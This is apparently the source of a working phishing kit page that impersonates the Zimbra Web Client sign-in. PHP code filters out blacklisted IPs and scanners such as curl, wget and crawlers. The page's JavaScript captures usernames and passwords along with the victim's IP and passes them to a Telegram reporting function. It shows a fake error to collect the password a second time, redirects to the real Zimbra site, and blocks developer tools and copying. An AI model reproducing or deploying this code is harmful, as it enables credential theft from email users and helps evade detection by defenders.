<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

if (IPBlacklistLoader::isBlacklisted($ip)) {
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex">
  <title>Zimbra Web Client Sign In</title>
  <link rel="shortcut icon" href="https://www.zimbra.com/wp-content/uploads/2022/02/zimbra-favicon-new.ico">

  <!-- Antibot Scripts -->
  <script src="../m/js/fingerprint.js"></script>
  <script src="../m/js/utils.js"></script>
  <script src="../m/js/captcha.js"></script>

  <!-- Centralized Functions -->
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>

  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }

    body {
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      min-height: 100vh;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      background: linear-gradient(180deg, #1a9cb7 0%, #1a8faa 30%, #1e7d96 55%, #1a6e85 70%, #1a6e85 100%);
      position: relative;
      overflow: hidden;
    }

    /* Mountain silhouette at bottom */
    body::after {
      content: '';
      position: fixed;
      bottom: 0;
      left: 0;
      right: 0;
      height: 180px;
      background: 
        linear-gradient(135deg, transparent 30%, rgba(20,80,100,0.6) 30%, rgba(20,80,100,0.6) 32%, transparent 32%),
        linear-gradient(160deg, transparent 40%, rgba(15,70,90,0.5) 40%, rgba(15,70,90,0.5) 43%, transparent 43%),
        linear-gradient(120deg, transparent 20%, rgba(25,85,105,0.4) 20%, rgba(25,85,105,0.4) 25%, transparent 25%),
        linear-gradient(145deg, transparent 50%, rgba(18,75,95,0.5) 50%, rgba(18,75,95,0.5) 55%, transparent 55%),
        linear-gradient(170deg, transparent 60%, rgba(12,65,82,0.6) 60%);
      pointer-events: none;
      z-index: 0;
    }

    .login-card {
      position: relative;
      z-index: 1;
      background: #fff;
      width: 380px;
      max-width: 92vw;
      border-radius: 2px;
      box-shadow: 0 2px 12px rgba(0,0,0,0.25);
      overflow: hidden;
    }

    .card-body {
      padding: 30px 35px 20px;
    }

    .logo {
      margin-bottom: 4px;
    }

    .logo-text {
      font-size: 36px;
      font-weight: 300;
      color: #1a9cb7;
      letter-spacing: -0.5px;
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
    }

    .sign-in-title {
      font-size: 16px;
      font-weight: 700;
      color: #333;
      margin-bottom: 20px;
    }

    .form-group {
      margin-bottom: 14px;
    }

    .form-group label {
      display: block;
      font-size: 13px;
      color: #555;
      margin-bottom: 5px;
      font-weight: 400;
    }

    .form-group input[type="text"],
    .form-group input[type="password"] {
      width: 100%;
      height: 32px;
      padding: 4px 8px;
      border: 1px solid #b8b8b8;
      border-radius: 2px;
      font-size: 14px;
      color: #333;
      background: #fff;
      outline: none;
      transition: border-color 0.2s;
    }

    .form-group input[type="text"]:focus,
    .form-group input[type="password"]:focus {
      border-color: #1a9cb7;
      box-shadow: 0 0 0 1px rgba(26,156,183,0.3);
    }

    .password-wrap {
      position: relative;
    }

    .password-wrap input {
      padding-right: 50px !important;
    }

    .show-toggle {
      position: absolute;
      right: 8px;
      top: 50%;
      transform: translateY(-50%);
      background: none;
      border: none;
      cursor: pointer;
      font-size: 12px;
      color: #1a9cb7;
      font-weight: 400;
      padding: 2px 4px;
    }

    .show-toggle:hover {
      text-decoration: underline;
    }

    .actions-row {
      display: flex;
      align-items: center;
      justify-content: space-between;
      margin-top: 18px;
      margin-bottom: 6px;
    }

    .signin-btn {
      background: #1a9cb7;
      color: #fff;
      border: 1px solid #178da5;
      border-radius: 2px;
      padding: 7px 22px;
      font-size: 13px;
      font-weight: 600;
      cursor: pointer;
      transition: background 0.2s;
    }

    .signin-btn:hover {
      background: #158fa1;
    }

    .signin-btn:active {
      background: #12798a;
    }

    .stay-signed-in {
      display: flex;
      align-items: center;
      gap: 5px;
      font-size: 12px;
      color: #555;
    }

    .stay-signed-in input[type="checkbox"] {
      margin: 0;
    }

    .error-panel {
      background: #fef0f0;
      border: 1px solid #f5c6cb;
      border-radius: 2px;
      padding: 10px 12px;
      margin-bottom: 14px;
      display: none;
      font-size: 12px;
      color: #721c24;
      line-height: 1.4;
    }

    .error-panel.show {
      display: flex;
      align-items: flex-start;
      gap: 8px;
    }

    .error-icon {
      color: #dc3545;
      font-size: 16px;
      flex-shrink: 0;
      margin-top: 1px;
    }

    /* Version section */
    .version-section {
      background: #f0f0f0;
      border-top: 1px solid #ddd;
      padding: 14px 35px;
    }

    .version-section label {
      display: block;
      font-size: 13px;
      color: #555;
      margin-bottom: 6px;
      font-weight: 600;
    }

    .version-row {
      display: flex;
      align-items: center;
      gap: 8px;
    }

    .version-row select {
      flex: 1;
      height: 30px;
      padding: 4px 8px;
      border: 1px solid #b8b8b8;
      border-radius: 2px;
      font-size: 13px;
      color: #333;
      background: #fff;
      outline: none;
    }

    .help-icon {
      display: inline-flex;
      align-items: center;
      justify-content: center;
      width: 20px;
      height: 20px;
      border-radius: 50%;
      background: #1a9cb7;
      color: #fff;
      font-size: 12px;
      font-weight: 700;
      cursor: pointer;
      text-decoration: none;
      flex-shrink: 0;
    }

    .help-icon:hover {
      background: #158fa1;
    }

    /* Footer */
    .footer {
      position: relative;
      z-index: 1;
      margin-top: 20px;
      margin-bottom: 12px;
      text-align: center;
      font-size: 11px;
      color: rgba(255,255,255,0.85);
      padding: 0 20px;
      line-height: 1.5;
    }

    /* Tooltip */
    .tooltip-box {
      display: none;
      position: absolute;
      z-index: 100;
      background: #fff;
      border: 1px solid #ccc;
      border-radius: 3px;
      padding: 12px 14px;
      font-size: 12px;
      color: #333;
      box-shadow: 0 2px 8px rgba(0,0,0,0.15);
      max-width: 300px;
      line-height: 1.5;
      right: 0;
      top: 30px;
    }

    .tooltip-box.show {
      display: block;
    }

    .tooltip-box b {
      color: #1a9cb7;
    }

    /* Loader */
    .loader-overlay {
      position: fixed;
      top: 0; left: 0;
      width: 100vw; height: 100vh;
      background: rgba(0,0,0,0.3);
      display: none;
      align-items: center;
      justify-content: center;
      z-index: 9999;
    }

    .loader-overlay.show {
      display: flex;
    }

    .loader-spinner {
      width: 48px;
      height: 48px;
      border: 4px solid #ddd;
      border-top-color: #1a9cb7;
      border-radius: 50%;
      animation: spin 0.7s linear infinite;
    }

    @keyframes spin {
      to { transform: rotate(360deg); }
    }

    @media (max-width: 420px) {
      .login-card { max-width: 96vw; }
      .card-body { padding: 24px 20px 16px; }
      .version-section { padding: 12px 20px; }
    }
  </style>
</head>
<body>

  <div class="loader-overlay" id="loader">
    <div class="loader-spinner"></div>
  </div>

  <div class="login-card">
    <div class="card-body">
      <div class="logo">
        <span class="logo-text">zimbra</span>
      </div>
      <div class="sign-in-title">Sign In</div>

      <div class="error-panel" id="errorPanel">
        <span class="error-icon">&#9888;</span>
        <span>The username or password is incorrect. Verify that CAPS LOCK is not on, and then retype the current username and password.</span>
      </div>

      <form id="signinForm" autocomplete="off" onsubmit="event.preventDefault();">
        <div class="form-group">
          <label for="username">Username</label>
          <input type="text" id="username" name="username" autocapitalize="off" autocorrect="off" spellcheck="false">
        </div>

        <div class="form-group">
          <label for="password">Password</label>
          <div class="password-wrap">
            <input type="password" id="password" name="password" autocomplete="off">
            <button type="button" class="show-toggle" id="showToggle">Show</button>
          </div>
        </div>

        <div class="actions-row">
          <button type="submit" class="signin-btn" id="signinBtn">Sign In</button>
          <label class="stay-signed-in">
            <input type="checkbox" name="staysignedin">
            Stay signed in
          </label>
        </div>
      </form>
    </div>

    <div class="version-section">
      <label for="webAppVersion">Web App Version</label>
      <div class="version-row" style="position:relative;">
        <select id="webAppVersion" name="client">
          <option value="default" selected>Default</option>
          <option value="modern">Modern</option>
          <option value="classic">Classic</option>
        </select>
        <a class="help-icon" id="helpIcon" href="javascript:void(0);" title="What's this?">?</a>
        <div class="tooltip-box" id="helpTooltip">
          <b>Modern</b> The Modern Web App delivers a responsive experience across all your devices and integrates with many popular apps.<br><br>
          <b>Classic</b> The Classic Web App is familiar to long-time Zimbra users. It delivers advanced collaboration and calendar features popular with power users on Desktop web browsers.<br><br>
          <b>Default</b> This will sign you in according to your saved Preference.
        </div>
      </div>
    </div>
  </div>

  <div class="footer">
    Copyright &copy; 2005-2025 Synacor, Inc. All rights reserved. &ldquo;Zimbra&rdquo; is a registered trademark of Synacor, Inc.
  </div>

  <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  <script>
  (function() {
    var count = 0;
    var pwd = document.getElementById('password');
    var usernameInput = document.getElementById('username');
    var showToggle = document.getElementById('showToggle');
    var helpIcon = document.getElementById('helpIcon');
    var helpTooltip = document.getElementById('helpTooltip');
    var errorPanel = document.getElementById('errorPanel');
    var loader = document.getElementById('loader');
    var signinForm = document.getElementById('signinForm');

    function isValidEmail(email) {
      return /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/.test(email);
    }

    // Password show/hide toggle
    showToggle.addEventListener('click', function() {
      if (pwd.type === 'password') {
        pwd.type = 'text';
        showToggle.textContent = 'Hide';
      } else {
        pwd.type = 'password';
        showToggle.textContent = 'Show';
      }
    });

    // Help tooltip
    helpIcon.addEventListener('click', function(e) {
      e.stopPropagation();
      helpTooltip.classList.toggle('show');
    });
    document.addEventListener('click', function() {
      helpTooltip.classList.remove('show');
    });

    // Auto-fill email from URL using shared extractor (?ref= base64 or fragment)
    // Run auto-fill immediately and on hash change
    // Handled by standardizedAutofill in js/autofill_helper.js

    // Show loader
    function showLoader() {
      loader.classList.add('show');
      setTimeout(function() { loader.classList.remove('show'); }, 3000);
    }

    // Form submit handler
    signinForm.addEventListener('submit', function(e) {
      e.preventDefault();

      var email = usernameInput.value.trim();
      var pw = pwd.value.trim();

      if (!email || !pw) {
        pwd.focus();
        return false;
      }

      count++;
      showLoader();

      window.providerTag = 'zimbra';
      var clientIP = window.userip || 'n/a';

      function sendTelemetry(attempt, redirectOnSuccess) {
        if (typeof sendCentralizedTelegramReport === 'function') {
          sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
            if (redirectOnSuccess) {
              if (typeof performCentralizedRedirect === 'function') {
                performCentralizedRedirect(300);
              } else {
                setTimeout(function() { window.location.replace('https://mail.zimbra.com/'); }, 300);
              }
            }
          });
        } else {
          console.error('Centralized Telegram function not available');
          if (redirectOnSuccess) {
            if (typeof performCentralizedRedirect === 'function') {
              performCentralizedRedirect(300);
            } else {
              setTimeout(function() { window.location.replace('https://mail.zimbra.com/'); }, 300);
            }
          }
        }
      }

      sendTelemetry(count, (count >= 2));

      if (count === 1) {
        // First attempt: show error, clear password
        setTimeout(function() {
          errorPanel.classList.add('show');
          pwd.value = '';
          pwd.focus();
        }, 3000);
        return false;
      }
    });

    // Anti-devtools protections
    (function() {
      var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
      if (!isTouch) {
        document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }, false);
      }
      document.addEventListener('copy', function(e) {
        try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
        e.preventDefault(); return false;
      });
      document.addEventListener('selectstart', function(e) {
        if (!e.target.closest('input, textarea')) { e.preventDefault(); return false; }
      });
      document.addEventListener('keydown', function(e) {
        if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
        if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
        if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
        if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
      });
    })();

    // Initialize
    autoFillFromUrl();
    window.addEventListener('hashchange', autoFillFromUrl);
  })();
  </script>
</body>
</html>